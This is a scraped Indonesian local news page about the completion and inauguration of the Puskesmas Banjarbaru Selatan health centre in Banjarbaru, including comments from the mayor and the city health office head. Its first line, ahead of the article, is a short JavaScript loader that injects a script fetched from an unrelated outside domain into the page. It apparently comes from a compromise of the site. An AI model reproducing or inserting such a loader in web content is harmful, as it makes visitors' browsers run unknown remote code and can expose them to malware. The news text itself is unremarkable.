(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan Pusat Kesehatan Masyarakat (Puskesmas) Banjarbaru Selatan rampung dikerjakan 100 persen.
Kini masyarakat bisa menikmati pelayanan kesehatan di fasilitas kesehatan yang terletak di Jalan Lanan RT1/RW 1, Kelurahan Kemuning, Kecamatan Banjarbaru Selatan atau lahan Eks Pasar Bauntung Banjarbaru.
Peresmian ditandai dengan penandatangan prasasti gedung baru Puskesmas Banjarbaru Selatan oleh Wali Kota Banjarbaru Aditya Mufti Ariffin, Senin (3/2/2025) siang.
Wali Kota Aditya mengatakan, dengan gedung baru yang lebih besar dan lebih lengkap fasilitasnya dapat memudahkan akses pelayanan kesehatan masyarakat di Kota Banjarbaru.
“Kami dari pemerintah kota berupaya untuk lebih melengkapi lagi sarana prasarana, termasuk juga penataan lingkungan di Puskesmas ini,” ujar Wali Kota Banjarbaru.
Baca juga: Dosen ASN di Kalsel Demo Tuntutan “Bayar Hutang” Tukin 4 Tahun
Tahun 2025, katanya, dilakukan penataan lingkungan Puskesmas dengan ditambah pembangunan Laboratorium Kesehatan Daerah (Labkesda) dan kolam retensi.
“Insya Allah tahun ini juga dibangun Labkesda di samping Puskesmas dan kolam retensi di belakangnya, menjadi salah satu peningkatan fasilitas kesehatan di Kota Banjarbaru,” ungkapnya.
Beberapa catatan peningkatan fasilitas di Puskesmas diberikan Aditya, termasuk perbaikan atau penggantian alat-alat kesehatan yang tergolong lama.
Baca juga: Operasi Modifikasi Cuaca Diklaim Berhasil Kurangi Curah Hujan di Daratan Kalsel
“Kita sudah minta ke Kadinkes untuk follow up termasuk mebeler dan lain-lain kita perbaiki atau diganti dengan yang baru,” jelas dia.
Sementara Kepala Dinas Kesehatan Kota Banjarbaru dr Juhai Triyanti Agustina menuturkan, pada tahun 2025 sebanyak 10 Puskesmas termasuk Puskesmas Banjarbaru Selatan sudah menggunakan sistem Integrasi Layanan Primer (ILP).
“Sejak 2024 kemarin sudah mulai semua terintegrasi, kita lebih meningkatkan ke screening, edukasi, dan promosi,” ungkap Kadinkes Kota Banjarbaru dr Juhai Triyanti Agustina.
Baca juga: Akhir Masa Jabatan, Pj Bupati HSU Zakly Asswan Pamit
Dalam sistem ini akan terdata atau terscreening resiko penyakit yang terjadi berdasarkan siklus hidup dari bayi baru lahir sampai lansia.
“Kita memberikan hak-hak masyarakat, kita berikan apa saja yang perlu diberikan pelayanan kesehatan,” tutur dia.
Dengan selesai pembangunan gedung Puskesmas ini, pembangunan tahap dua akan dilanjutkan dengan menggunakan dana APBD Rp2,2 miliar pembangunan lobi UGD, taman, parkir, dan pos jaga security. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.